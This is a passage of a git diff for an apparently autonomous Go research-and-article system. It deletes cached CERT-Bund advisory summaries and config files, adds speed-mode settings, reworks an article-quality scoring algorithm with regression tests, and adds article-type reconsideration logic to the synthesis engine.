eine Schwachstelle in Sophos Endpoint ausnutzen, um seine Privilegien zu erhöhen, und um beliebigen Programmcode mit Administratorrechten auszuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.637331748239631, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/fbd344ca2ca9a9d59d40510a.json b/data/research-evidence/fbd344ca2ca9a9d59d40510a.json deleted file mode 100644 index 64c9ad8..0000000 --- a/data/research-evidence/fbd344ca2ca9a9d59d40510a.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:39:41.2037418Z", - "content_sha256": "b7ab43a6940baf9063a599afb95782b7de4fa07fa5565ec75d04c1cc9a8904de", - "result": { - "title": "[UPDATE] [hoch] Linux Kernel (Dirty Frag): Mehrere Schwachstellen ermöglichen Erlangen von Administratorrechten", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1430", - "snippet": "Ein lokaler Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um Administratorrechte zu erlangen.", - "content": "Ein lokaler Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um Administratorrechte zu erlangen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6800948976874124, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/fc2598353df78a0ee3462375.json b/data/research-evidence/fc2598353df78a0ee3462375.json deleted file mode 100644 index faaef2f..0000000 --- a/data/research-evidence/fc2598353df78a0ee3462375.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:47:37.2109755Z", - "content_sha256": "75752fdd7bcd22136b5edf453ff9dc669e51cb91880784f8578399746083df00", - "result": { - "title": "[UPDATE] [mittel] Red Hat Enterprise Linux (libyang): Schwachstelle ermöglicht Denial of Service", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1820", - "snippet": "Ein entfernter, anonymer Angreifer kann eine Schwachstelle in Red Hat Enterprise Linux ausnutzen, um einen Denial of Service Angriff durchzuführen oder potenziell beliebigen Code auszuführen.", - "content": "Ein entfernter, anonymer Angreifer kann eine Schwachstelle in Red Hat Enterprise Linux ausnutzen, um einen Denial of Service Angriff durchzuführen oder potenziell beliebigen Code auszuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6495585163286874, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/runtime-settings.json b/data/runtime-settings.json deleted file mode 100644 index 34e291c..0000000 --- a/data/runtime-settings.json +++ /dev/null @@ -1,17 +0,0 @@ -{ - "source_filter_version": 1, - "learning_enabled": true, - "thinking_enabled": true, - "learning_sources": [], - "display_sources": [], - "thinking_sources": [], - "view_mode": "neural", - "max_display_nodes": 10000, - "low_power_mode": false, - "processing_mode": "clustered", - "autonomous_research_enabled": true, - "autonomous_research_idle_only": true, - "autonomous_research_min_priority": 0.65, - "autonomous_research_max_tasks_per_day": 12, - "autonomous_research_tasks_per_cycle": 1 -} diff --git a/data/source-agents.db b/data/source-agents.db deleted file mode 100644 index d57a13a..0000000 Binary files a/data/source-agents.db and /dev/null differ diff --git a/data/source-agents.db-shm b/data/source-agents.db-shm deleted file mode 100644 index 7848b18..0000000 Binary files a/data/source-agents.db-shm and /dev/null differ diff --git a/data/source-agents.db-wal b/data/source-agents.db-wal deleted file mode 100644 index 5ab7e45..0000000 Binary files a/data/source-agents.db-wal and /dev/null differ diff --git a/data2/source-agent-config-cache.json b/data2/source-agent-config-cache.json deleted file mode 100644 index 05780e1..0000000 --- a/data2/source-agent-config-cache.json +++ /dev/null @@ -1,79 +0,0 @@ -{ - "schema_version": 1, - "agent": { - "id": "agent-c5e0717003f216bffb7cb263", - "name": "Test", - "enabled": true, - "created_at": "2026-08-08T20:20:32.7261047Z", - "updated_at": "2026-08-09T09:26:51.8630894Z", - "last_seen": "2026-08-09T09:26:51.8630894Z", - "version": "production-readiness-v1.2", - "capabilities": [ - "vector_graph", - "article_quality" - ], - "controller": { - "enabled": true, - "socket": "/var/run/docker.sock", - "reachable": false, - "compose_available": false, - "containers": 0, - "running": 0, - "unhealthy": 0, - "networks": 0, - "volumes": 0, - "last_refresh": "2026-08-09T09:26:51.862587Z", - "last_error": "docker socket unavailable: Get \"http://docker/version\": dial unix /var/run/docker.sock: connect: A socket operation encountered a dead network.", - "inventory": { - "containers": null, - "networks": null, - "volumes": null - } - } - }, - "tasks": [ - { - "id": "task-dkjvolktfo2c", - "agent_id": "agent-c5e0717003f216bffb7cb263", - "name": "CERT-BUND", - "type": "rss", - "url": "https://wid.cert-bund.de/content/public/securityAdvisory/rss", - "enabled": true, - "poll_interval": "15m", - "categories": [ - "security", - "certbund", - "wid" - ], - "max_items": 100, - "config": { - "refetch_seen": "false", - "security_proactive": "auto" - }, - "created_at": "2026-08-08T21:25:40.0456941Z", - "updated_at": "2026-08-08T21:25:40.0456941Z" - }, - { - "id": "task-dkjvyvalsfu8", - "agent_id": "agent-c5e0717003f216bffb7cb263", - "name": "heise Security", - "type": "atom", - "url": "https://www.heise.de/security/Alerts/feed.xml", - "enabled": true, - "poll_interval": "30m", - "categories": [ - "security", - "heise", - "alerts" - ], - "max_items": 50, - "config": { - "refetch_seen": "false", - "security_proactive": "auto" - }, - "created_at": "2026-08-08T21:39:04.8376556Z", - "updated_at": "2026-08-08T21:39:04.8376556Z" - } - ], - "issued_at": "2026-08-09T09:27:51.8633242Z" -} diff --git a/data2/source-agent-local.db b/data2/source-agent-local.db deleted file mode 100644 index 1a23fba..0000000 Binary files a/data2/source-agent-local.db and /dev/null differ diff --git a/data2/source-agent-local.db-shm b/data2/source-agent-local.db-shm deleted file mode 100644 index 7037555..0000000 Binary files a/data2/source-agent-local.db-shm and /dev/null differ diff --git a/data2/source-agent-local.db-wal b/data2/source-agent-local.db-wal deleted file mode 100644 index e4ce1e3..0000000 Binary files a/data2/source-agent-local.db-wal and /dev/null differ diff --git a/deployment/docker-compose.full.yml b/deployment/docker-compose.full.yml index 155bf9c..e5f3e5b 100644 --- a/deployment/docker-compose.full.yml +++ b/deployment/docker-compose.full.yml @@ -141,6 +141,9 @@ services: BRAIN_DEFAULT_VIEW: ${BRAIN_DEFAULT_VIEW:-neural} BRAIN_MAX_DISPLAY_NODES: ${BRAIN_MAX_DISPLAY_NODES:-0} BRAIN_LOW_POWER_MODE: ${BRAIN_LOW_POWER_MODE:-false} + BRAIN_SPEED_MODE: ${BRAIN_SPEED_MODE:-false} + BRAIN_SPEED_CPU_TASKS: ${BRAIN_SPEED_CPU_TASKS:-} + BRAIN_SPEED_GPU_TASKS: ${BRAIN_SPEED_GPU_TASKS:-4} BRAIN_ENRICH_INTERVAL: ${BRAIN_ENRICH_INTERVAL:-90s} BRAIN_ENRICH_BATCH_SIZE: ${BRAIN_ENRICH_BATCH_SIZE:-3} BRAIN_ENRICH_STEP_DELAY: ${BRAIN_ENRICH_STEP_DELAY:-3s} diff --git a/docker-compose.yml b/docker-compose.yml index 1f669ac..74d40aa 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -40,6 +40,9 @@ services: BRAIN_DEFAULT_VIEW: ${BRAIN_DEFAULT_VIEW:-neural} BRAIN_MAX_DISPLAY_NODES: ${BRAIN_MAX_DISPLAY_NODES:-0} BRAIN_LOW_POWER_MODE: ${BRAIN_LOW_POWER_MODE:-false} + BRAIN_SPEED_MODE: ${BRAIN_SPEED_MODE:-false} + BRAIN_SPEED_CPU_TASKS: ${BRAIN_SPEED_CPU_TASKS:-} + BRAIN_SPEED_GPU_TASKS: ${BRAIN_SPEED_GPU_TASKS:-4} BRAIN_ENRICH_INTERVAL: ${BRAIN_ENRICH_INTERVAL:-90s} BRAIN_ENRICH_BATCH_SIZE: ${BRAIN_ENRICH_BATCH_SIZE:-3} BRAIN_ENRICH_STEP_DELAY: ${BRAIN_ENRICH_STEP_DELAY:-3s} diff --git a/internal/articlequality/articlequality.go b/internal/articlequality/articlequality.go index c0d66fd..70799c4 100644 --- a/internal/articlequality/articlequality.go +++ b/internal/articlequality/articlequality.go @@ -9,7 +9,7 @@ import ( "unicode" ) -const Algorithm = "lexical-coverage-depth-v1" +const Algorithm = "lexical-coverage-depth-v2" type Document struct { ID string `json:"id"` @@ -92,10 +92,13 @@ func Evaluate(req Request) Result { func NormalizeResult(req Request, r Result) Result { r.Algorithm = Algorithm r.TypeDepthScore = typeDepth(normalizeType(req.ArticleType), r.WordCount, r.SectionCount, r.ListItemCount, len(req.Validation), len(req.Troubleshoot)) - r.Score = clamp01(.25*r.TypeDepthScore + .22*r.EvidenceAlignment + .18*r.SourceUtilization + .15*r.TechnicalSpecificity + .12*clamp01(r.LexicalDiversity/.55) + .08*(1-r.Redundancy)) + // EvidenceAlignment is deliberately a soft signal. Lexical overlap is useful for + // detecting gross drift, but paraphrased multi-source synthesis (especially in + // German) must not be rejected before the semantic claim reviewer can inspect it. + r.Score = clamp01(.30*r.TypeDepthScore + .10*r.EvidenceAlignment + .24*r.SourceUtilization + .14*r.TechnicalSpecificity + .12*clamp01(r.LexicalDiversity/.55) + .10*(1-r.Redundancy)) r.Metrics = map[string]float64{"depth": r.TypeDepthScore, "evidence_alignment": r.EvidenceAlignment, "source_utilization": r.SourceUtilization, "technical_specificity": r.TechnicalSpecificity, "lexical_diversity": r.LexicalDiversity, "redundancy": r.Redundancy} r.HardFailures, r.Recommendations = hardGates(req, r) - r.Passed = len(r.HardFailures) == 0 && r.Score >= .66 + r.Passed = len(r.HardFailures) == 0 if !r.Passed && len(r.Recommendations) == 0 { r.Recommendations = []string{"Fachliche Tiefe, Quellenabdeckung und Informationsdichte erhöhen."} } @@ -119,7 +122,8 @@ func hardGates(req Request, r Result) ([]string, []string) { var f, rec []string if r.WordCount < minWords { f = append(f, "article_too_short") - rec = append(rec, "Artikel fachlich ausarbeiten; Zielumfang für "+typ+" liegt bei mindestens etwa "+strconv.Itoa(minWords)+" Wörtern.") + repairTarget := minWords + 80 + rec = append(rec, "Artikel fachlich ausarbeiten und die vorhandene Substanz nicht kürzen; für die Revision mindestens etwa "+strconv.Itoa(repairTarget)+" Wörter mit zusätzlichen belegten Details anstreben.") } if r.SectionCount < minSections { f = append(f, "insufficient_section_depth") @@ -129,9 +133,12 @@ func hardGates(req Request, r Result) ([]string, []string) { f = append(f, "low_source_utilization") rec = append(rec, "Mehr der bereitgestellten fachlich relevanten Quellen in konkrete, belegbare Inhalte überführen.") } - if len(req.Sources) > 0 && r.EvidenceAlignment < .48 { - f = append(f, "low_evidence_alignment") - rec = append(rec, "Artikelterminologie und technische Aussagen enger an den Evidenzkorpus anbinden.") + // Low lexical overlap is not a hard evidence verdict. A well-grounded synthesis + // can paraphrase source language heavily, while the subsequent Qwen claim review + // is explicitly responsible for semantic support/contradiction. Keep the metric + // observable and only emit a diagnostic recommendation for extreme drift. + if len(req.Sources) > 0 && r.EvidenceAlignment < .12 { + rec = append(rec, "Lexikalische Evidenznähe ist niedrig; semantisches Claim-Grounding im Reviewer besonders streng prüfen.") } if r.Redundancy > .52 { f = append(f, "high_redundancy") @@ -209,35 +216,50 @@ func weightedAlignment(article []string, df map[string]int, docs int) (float64, return 0, 0 } seen := map[string]bool{} - num, den, sHit, sTot := 0.0, 0.0, 0.0, 0.0 + matchedWeight, totalWeight, technicalHits, technicalTotal := 0.0, 0.0, 0.0, 0.0 for _, t := range article { if seen[t] { continue } seen[t] = true freq := df[t] - idf := math.Log(1 + float64(docs+1)/float64(freq+1)) - den += idf if freq > 0 { - num += idf + // Present evidence terms count fully. Rarer terms get a small bonus, but + // common cross-source terminology remains valuable instead of being + // suppressed by inverse-document weighting. + rarity := math.Log(1 + float64(docs+1)/float64(freq+1)) + w := 1.0 + .25*rarity + matchedWeight += w + totalWeight += w + } else { + // v1 accidentally gave source-absent words the strongest IDF weight. + // That made normal explanatory/paraphrased prose dominate the + // denominator. Unsupported lexical additions now carry only a bounded + // penalty; semantic support is checked later by the claim reviewer. + w := .28 + if looksTechnical(t) { + w = .50 + } + totalWeight += w } if looksTechnical(t) { - sTot++ + technicalTotal++ if freq > 0 { - sHit++ + technicalHits++ } } } - a := 0.0 - if den > 0 { - a = num / den + alignment := 0.0 + if totalWeight > 0 { + alignment = matchedWeight / totalWeight } - sp := a - if sTot > 0 { - sp = sHit / sTot + specificity := alignment + if technicalTotal > 0 { + specificity = technicalHits / technicalTotal } - return clamp01(a), clamp01(sp) + return clamp01(alignment), clamp01(specificity) } + func sourceUtilization(article map[string]bool, sources []map[string]bool) float64 { if len(sources) == 0 { return 0 diff --git a/internal/articlequality/articlequality_test.go b/internal/articlequality/articlequality_test.go index bb67145..5c14e16 100644 --- a/internal/articlequality/articlequality_test.go +++ b/internal/articlequality/articlequality_test.go @@ -64,3 +64,115 @@ func TestNormalizeResultRebuildsDecisionAndRecommendations(t *testing.T) { } } } + +func TestAnalysis21ReferenceMetricsReachSemanticReview(t *testing.T) { + // Regression from brain-analysis(21): a substantial 823-word reference used + // every provided source but v1 rejected it solely because lexical alignment + // was 0.134. Lexical overlap is diagnostic only; semantic grounding belongs to + // the subsequent claim reviewer. + req := Request{ArticleType: "reference", Sources: []Document{{ID: "1", Text: "a"}, {ID: "2", Text: "b"}, {ID: "3", Text: "c"}, {ID: "4", Text: "d"}, {ID: "5", Text: "e"}, {ID: "6", Text: "f"}, {ID: "7", Text: "g"}, {ID: "8", Text: "h"}}} + got := NormalizeResult(req, Result{ + WordCount: 823, + ContentWordCount: 593, + SectionCount: 8, + ParagraphCount: 12, + ListItemCount: 8, + LexicalDiversity: .5548, + Redundancy: .1541, + EvidenceAlignment: .1344, + SourceUtilization: 1, + TechnicalSpecificity: .1917, + }) + if !got.Passed { + t.Fatalf("substantial fully-utilized reference must reach semantic reviewer: %+v", got) + } + for _, failure := range got.HardFailures { + if failure == "low_evidence_alignment" { + t.Fatalf("lexical evidence alignment must not be a hard semantic verdict: %+v", got) + } + } +} + +func TestAnalysis21ShortReferenceStillFails(t *testing.T) { + req := Request{ArticleType: "reference", Sources: []Document{{ID: "1", Text: "a"}, {ID: "2", Text: "b"}, {ID: "3", Text: "c"}}} + got := NormalizeResult(req, Result{ + WordCount: 438, + ContentWordCount: 306, + SectionCount: 8, + ParagraphCount: 10, + ListItemCount: 6, + LexicalDiversity: .624, + Redundancy: .122, + EvidenceAlignment: .095, + SourceUtilization: 1, + TechnicalSpecificity: .175, + }) + if got.Passed { + t.Fatalf("short reference unexpectedly passed: %+v", got) + } + found := false + for _, failure := range got.HardFailures { + if failure == "article_too_short" { + found = true + } + } + if !found { + t.Fatalf("short reference must retain structural hard gate: %+v", got) + } +} + +func TestLowSourceUtilizationRemainsHardGate(t *testing.T) { + req := Request{ArticleType: "reference", Sources: []Document{{ID: "1", Text: "a"}, {ID: "2", Text: "b"}, {ID: "3", Text: "c"}}} + got := NormalizeResult(req, Result{WordCount: 900, SectionCount: 8, ParagraphCount: 10, ListItemCount: 8, LexicalDiversity: .6, Redundancy: .1, EvidenceAlignment: .8, SourceUtilization: .1, TechnicalSpecificity: .8}) + if got.Passed { + t.Fatalf("low source utilization unexpectedly passed: %+v", got) + } + found := false + for _, failure := range got.HardFailures { + if failure == "low_source_utilization" { + found = true + } + } + if !found { + t.Fatalf("expected low source utilization hard gate: %+v", got) + } +} + +func TestEvidenceAlignmentDoesNotOverweightParaphraseVocabulary(t *testing.T) { + sources := []Document{ + {ID: "a", Text: "MITRE ATT&CK T1486 Data Encrypted for Impact ransomware recovery backups detection"}, + {ID: "b", Text: "ATT&CK T1490 Inhibit System Recovery shadow copies backup recovery ransomware"}, + {ID: "c", Text: "ATT&CK T1135 Network Share Discovery network shares discovery ransomware"}, + } + article := strings.Repeat("## Technischer Hintergrund\nATT&CK T1486 T1490 und T1135 werden gemeinsam eingeordnet. Ransomware kann Datenverschlüsselung, Recovery-Behinderung und Network Share Discovery kombinieren. Die defensive Bewertung korreliert Backup Recovery, Discovery und Detection mit weiteren technischen Artefakten und erklärt die Zusammenhänge in eigenständiger Formulierung.\n\n", 12) + r := Evaluate(Request{ArticleType: "reference", Title: "Ransomware-Techniken einordnen", Problem: "Technische Referenz zu T1486 T1490 T1135.", Answer: article, Sources: sources}) + if r.EvidenceAlignment < .20 { + t.Fatalf("paraphrased but evidence-anchored text got implausibly low alignment %.3f", r.EvidenceAlignment) + } +} + +func TestAnalysis21SixRunGateRegression(t *testing.T) { + // First/repaired word counts observed in the six v10 autonomous article runs. + // With v2, lexical alignment no longer prevents the four already-substantial + // first drafts from reaching Qwen; the 564-word draft can pass after its 629-word + // repair, while the genuinely short 471/438 pair remains rejected. + type pair struct{ first, repair int } + runs := []pair{{631, 560}, {823, 604}, {664, 456}, {564, 629}, {620, 527}, {471, 438}} + passed := 0 + for _, run := range runs { + for _, words := range []int{run.first, run.repair} { + r := NormalizeResult(Request{ArticleType: "reference", Sources: []Document{{ID: "1"}, {ID: "2"}, {ID: "3"}, {ID: "4"}, {ID: "5"}, {ID: "6"}, {ID: "7"}, {ID: "8"}}}, Result{ + WordCount: words, SectionCount: 8, ParagraphCount: 10, ListItemCount: 6, + LexicalDiversity: .55, Redundancy: .15, EvidenceAlignment: .13, + SourceUtilization: 1, TechnicalSpecificity: .20, + }) + if r.Passed { + passed++ + break + } + } + } + if passed != 5 { + t.Fatalf("expected 5/6 analysis(21) run shapes to reach semantic review, got %d", passed) + } +} diff --git a/internal/config/config.go b/internal/config/config.go index 73d75f8..b14381d 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -5,6 +5,7 @@ import ( "net/url" "os" "path/filepath" + "runtime" "strconv" "strings" "time" @@ -133,6 +134,9 @@ type Config struct { DefaultView string MaxDisplayNodes int LowPowerMode bool + SpeedMode bool + SpeedCPUWorkers int + SpeedGPUInflight int RuntimeDefaultsConfigured bool SourceInboxEnabled bool @@ -320,6 +324,9 @@ func Load() (Config, error) { DefaultView: strings.ToLower(env("BRAIN_DEFAULT_VIEW", "neural")), MaxDisplayNodes: integer("BRAIN_MAX_DISPLAY_NODES", 0), LowPowerMode: boolean("BRAIN_LOW_POWER_MODE", false), + SpeedMode: boolean("BRAIN_SPEED_MODE", false), + SpeedCPUWorkers: integer("BRAIN_SPEED_CPU_TASKS", maxInt(runtime.NumCPU(), 1)), + SpeedGPUInflight: integer("BRAIN_SPEED_GPU_TASKS", 4), RuntimeDefaultsConfigured: true, SourceInboxEnabled: boolean("BRAIN_SOURCE_INBOX_ENABLED", true), SourceInboxInterval: duration("BRAIN_SOURCE_INBOX_INTERVAL", 30*time.Second), @@ -415,6 +422,12 @@ func Load() (Config, error) { if cfg.SourceInboxInterval < 5*time.Second || cfg.SourceInboxInterval > 24*time.Hour { return Config{}, fmt.Errorf("BRAIN_SOURCE_INBOX_INTERVAL must be between 5s and 24h") } + if cfg.SpeedCPUWorkers < 1 || cfg.SpeedCPUWorkers > 256 { + return Config{}, fmt.Errorf("BRAIN_SPEED_CPU_TASKS must be between 1 and 256") + } + if cfg.SpeedGPUInflight < 1 || cfg.SpeedGPUInflight > 64 { + return Config{}, fmt.Errorf("BRAIN_SPEED_GPU_TASKS must be between 1 and 64") + } if cfg.SourceInboxBatchSize < 1 || cfg.SourceInboxBatchSize > 100 { return Config{}, fmt.Errorf("BRAIN_SOURCE_INBOX_BATCH_SIZE must be between 1 and 100") } @@ -826,3 +839,10 @@ func boolean(k string, d bool) bool { } return x } + +func maxInt(a, b int) int { + if a > b { + return a + } + return b +} diff --git a/internal/config/config_test.go b/internal/config/config_test.go index bf82ecb..d98784b 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -347,3 +347,25 @@ func TestLoadArticleCPUQualityAndVectorRelaxationSettings(t *testing.T) { t.Fatalf("unexpected vector relaxation config: %+v", cfg) } } + +func TestLoadSpeedModeSettings(t *testing.T) { + t.Setenv("BRAIN_DATA_DIR", t.TempDir()) + t.Setenv("BRAIN_SPEED_MODE", "true") + t.Setenv("BRAIN_SPEED_CPU_TASKS", "24") + t.Setenv("BRAIN_SPEED_GPU_TASKS", "6") + cfg, err := Load() + if err != nil { + t.Fatal(err) + } + if !cfg.SpeedMode || cfg.SpeedCPUWorkers != 24 || cfg.SpeedGPUInflight != 6 { + t.Fatalf("unexpected speed settings: enabled=%v cpu=%d gpu=%d", cfg.SpeedMode, cfg.SpeedCPUWorkers, cfg.SpeedGPUInflight) + } +} + +func TestLoadRejectsInvalidSpeedLimits(t *testing.T) { + t.Setenv("BRAIN_DATA_DIR", t.TempDir()) + t.Setenv("BRAIN_SPEED_CPU_TASKS", "257") + if _, err := Load(); err == nil { + t.Fatal("expected invalid speed CPU limit") + } +} diff --git a/internal/engine/article.go b/internal/engine/article.go index f605ab1..8eb9b3d 100644 --- a/internal/engine/article.go +++ b/internal/engine/article.go @@ -257,11 +257,15 @@ func (e *Engine) synthesizeKnowledgeArticle(ctx context.Context, trigger string, var quality model.ArticleQualityDecision var finalReviewEvidence []model.ResearchResult var finalCPUQuality articlequality.Result + var bestCPUDraft model.KnowledgeArticleDraft + var bestCPUQuality articlequality.Result + hasBestCPUQuality := false var reviewFeedback *model.ArticleQualityDecision rewritten := false repairAttempts := 0 cpuRepairAttempts := 0 authorResearchAttempted := false + articleTypeReconsidered := false for { content, wasRewritten, generationErr := e.generateArticleContent(ctx, articleRunID, selected, plan, brief, researchResults, reviewFeedback) if generationErr != nil { @@ -311,6 +315,40 @@ func (e *Engine) synthesizeKnowledgeArticle(ctx context.Context, trigger string, metadata["trigger"] = trigger metadata["article_type"] = normalizeArticleType(plan.ArticleType) metadata["author_research_attempted"] = authorResearchAttempted + var validationErr *articleDraftValidationError + reconsiderable := errors.As(structureErr, &validationErr) && isOperationalArticleType(plan.ArticleType) && !articleTypeReconsidered && (validationErr.Code == "insufficient_solution_steps" || validationErr.Code == "missing_validation_steps") + if reconsiderable { + articleTypeReconsidered = true + previousType := normalizeArticleType(plan.ArticleType) + reconsideration, reconsiderErr := e.reconsiderOperationalArticleType(ctx, plan, content, selected, researchResults) + if reconsiderErr != nil { + e.Broker.Publish(model.Activity{Type: "article.type.reconsideration.failed", Source: "brain", Phase: "knowledge-planning", NodeIDs: plan.SourceNodeIDs, Message: "Die einmalige Artikeltyp-Neubewertung ist fehlgeschlagen", Strength: .34, Metadata: articleRunMetadata(articleRunID, map[string]any{"trigger": trigger, "previous_article_type": previousType, "reason": validationErr.Code, "error": reconsiderErr.Error()})}) + } else if reconsideration.Action == "reclassify" { + plan.ArticleType = reconsideration.ArticleType + plan.Reason = strings.TrimSpace(strings.Join([]string{plan.Reason, "v10 type reconsideration: " + reconsideration.Reason}, " · ")) + // Type is part of article identity. Recompute the fingerprint and avoid + // generating a duplicate non-operational draft if one already exists. + sourceFingerprint = articleSourceFingerprint(selected, plan, selectedPlanningResearch, e.articlePipelineFingerprintIdentity()) + if e.hasArticleSourceFingerprint(sourceFingerprint) || e.hasEquivalentArticleDraft(selected, plan, sourceFingerprint) { + e.Broker.Publish(model.Activity{Type: "article.duplicate", Source: "brain", Phase: "knowledge-planning", NodeIDs: plan.SourceNodeIDs, Message: "Die korrigierte Artikeltyp-Variante existiert bereits", Strength: .36, Metadata: articleRunMetadata(articleRunID, map[string]any{"trigger": trigger, "reason": "reclassified_article_duplicate", "previous_article_type": previousType, "article_type": plan.ArticleType, "source_fingerprint": sourceFingerprint})}) + return articleSynthesisOutcome{Skipped: true, Reason: "reclassified_article_duplicate", Action: plan.Action}, nil + } + if e.RuntimeSettings().ProcessingMode == "clustered" { + brief = fallbackSynthesisBrief(plan, selected) + } else if rebuiltBrief, briefErr := e.buildKnowledgeBrief(ctx, selected, researchResults, plan.ArticleType); briefErr == nil { + brief = rebuiltBrief + } + reviewFeedback = nil + cpuRepairAttempts = 0 + e.Broker.Publish(model.Activity{Type: "article.type.reconsidered", Source: "brain", Phase: "knowledge-planning", NodeIDs: plan.SourceNodeIDs, Message: fmt.Sprintf("Operationaler Artikeltyp wurde einmalig von %s auf %s korrigiert", previousType, plan.ArticleType), Strength: .7, Metadata: articleRunMetadata(articleRunID, map[string]any{"trigger": trigger, "previous_article_type": previousType, "article_type": plan.ArticleType, "reason": reconsideration.Reason, "structure_failure": validationErr.Code, "author_research_attempted": authorResearchAttempted})}) + continue + } else { + metadata["reason"] = "wrong_article_type_or_insufficient_operational_evidence" + metadata["reconsideration_reason"] = reconsideration.Reason + e.Broker.Publish(model.Activity{Type: "article.type.reconsidered", Source: "brain", Phase: "knowledge-planning", NodeIDs: plan.SourceNodeIDs, Message: "Operationaler Artikeltyp trägt trotz Evidenzsuche keinen belastbaren Lösungsablauf und wird nicht künstlich umgedeutet", Strength: .46, Metadata: articleRunMetadata(articleRunID, metadata)}) + return articleSynthesisOutcome{Skipped: true, Reason: "wrong_article_type_or_insufficient_operational_evidence", Action: plan.Action}, nil + } + } e.Broker.Publish(model.Activity{Type: "article.draft.rejected", Source: "brain", Phase: "quality-gate", NodeIDs: plan.SourceNodeIDs, Message: "Der Entwurf erfüllt die Mindeststruktur seines Artikeltyps nicht", Strength: .4, Metadata: articleRunMetadata(articleRunID, metadata)}) return articleSynthesisOutcome{Skipped: true, Reason: metadata["reason"].(string), Action: plan.Action}, nil } @@ -323,13 +361,18 @@ func (e *Engine) synthesizeKnowledgeArticle(ctx context.Context, trigger string, return articleSynthesisOutcome{}, fmt.Errorf("deterministic article quality evaluation failed: %w", cpuErr) } finalCPUQuality = cpuQuality.Result + if !hasBestCPUQuality || articleCPUQualityBetter(cpuQuality.Result, bestCPUQuality) { + bestCPUDraft = draft + bestCPUQuality = cpuQuality.Result + hasBestCPUQuality = true + } e.Broker.Publish(model.Activity{Type: "article.cpu_quality.completed", Source: map[bool]string{true: "agent", false: "brain"}[cpuQuality.Offloaded], Phase: "quality-gate", NodeIDs: draft.SourceNodeIDs, Message: fmt.Sprintf("Modellfreie Artikelprüfung: Score %.2f · %d Wörter · %d Abschnitte", cpuQuality.Result.Score, cpuQuality.Result.WordCount, cpuQuality.Result.SectionCount), Strength: .64, Metadata: articleRunMetadata(articleRunID, map[string]any{ "trigger": trigger, "article_type": normalizeArticleType(plan.ArticleType), "passed": cpuQuality.Result.Passed, "score": cpuQuality.Result.Score, "word_count": cpuQuality.Result.WordCount, "content_word_count": cpuQuality.Result.ContentWordCount, "section_count": cpuQuality.Result.SectionCount, "lexical_diversity": cpuQuality.Result.LexicalDiversity, "redundancy": cpuQuality.Result.Redundancy, "evidence_alignment": cpuQuality.Result.EvidenceAlignment, "source_utilization": cpuQuality.Result.SourceUtilization, "technical_specificity": cpuQuality.Result.TechnicalSpecificity, "type_depth_score": cpuQuality.Result.TypeDepthScore, "hard_failures": cpuQuality.Result.HardFailures, "recommendations": cpuQuality.Result.Recommendations, "algorithm": cpuQuality.Result.Algorithm, - "no_model_call": true, "agent_offloaded": cpuQuality.Offloaded, "agent_id": cpuQuality.AgentID, "compute_ms": cpuQuality.ComputeMS, "fallback_reason": cpuQuality.FallbackReason, + "evidence_alignment_mode": "diagnostic_only_semantic_grounding_by_qwen", "no_model_call": true, "agent_offloaded": cpuQuality.Offloaded, "agent_id": cpuQuality.AgentID, "compute_ms": cpuQuality.ComputeMS, "fallback_reason": cpuQuality.FallbackReason, })}) if !cpuQuality.Result.Passed { if cpuRepairAttempts < 1 { @@ -339,7 +382,18 @@ func (e *Engine) synthesizeKnowledgeArticle(ctx context.Context, trigger string, e.Broker.Publish(model.Activity{Type: "article.cpu_quality.revision", Source: "brain", Phase: "knowledge-synthesis", NodeIDs: draft.SourceNodeIDs, Message: "Der modellfreie Quality-Layer fordert vor dem LLM-Review eine substanziellere Fassung an", Strength: .72, Metadata: articleRunMetadata(articleRunID, map[string]any{"trigger": trigger, "score": cpuQuality.Result.Score, "hard_failures": cpuQuality.Result.HardFailures, "recommendations": cpuQuality.Result.Recommendations, "repair_attempt": cpuRepairAttempts})}) continue } - e.Broker.Publish(model.Activity{Type: "article.draft.rejected", Source: "brain", Phase: "quality-gate", NodeIDs: draft.SourceNodeIDs, Message: "Der Artikel ist mathematisch/strukturell noch zu kurz, redundant oder nutzt die Evidenz nicht ausreichend", Strength: .46, Metadata: articleRunMetadata(articleRunID, map[string]any{"trigger": trigger, "reason": "article_cpu_quality_rejected", "score": cpuQuality.Result.Score, "hard_failures": cpuQuality.Result.HardFailures, "recommendations": cpuQuality.Result.Recommendations, "agent_offloaded": cpuQuality.Offloaded})}) + // A repair must never erase a stronger previous draft. This mattered in + // analysis(21), where several CPU-requested rewrites became materially + // shorter. Restore the strongest structurally evaluated version for final + // diagnostics/rejection instead of silently keeping the regression. + if hasBestCPUQuality && articleCPUQualityBetter(bestCPUQuality, cpuQuality.Result) { + previousWords, previousScore := cpuQuality.Result.WordCount, cpuQuality.Result.Score + draft = bestCPUDraft + cpuQuality.Result = bestCPUQuality + finalCPUQuality = bestCPUQuality + e.Broker.Publish(model.Activity{Type: "article.cpu_quality.revision.regressed", Source: "brain", Phase: "quality-gate", NodeIDs: draft.SourceNodeIDs, Message: "Die CPU-Revision war schwächer als die Vorfassung; die bessere Fassung bleibt erhalten", Strength: .5, Metadata: articleRunMetadata(articleRunID, map[string]any{"trigger": trigger, "repair_word_count": previousWords, "repair_score": previousScore, "restored_word_count": bestCPUQuality.WordCount, "restored_score": bestCPUQuality.Score, "hard_failures": 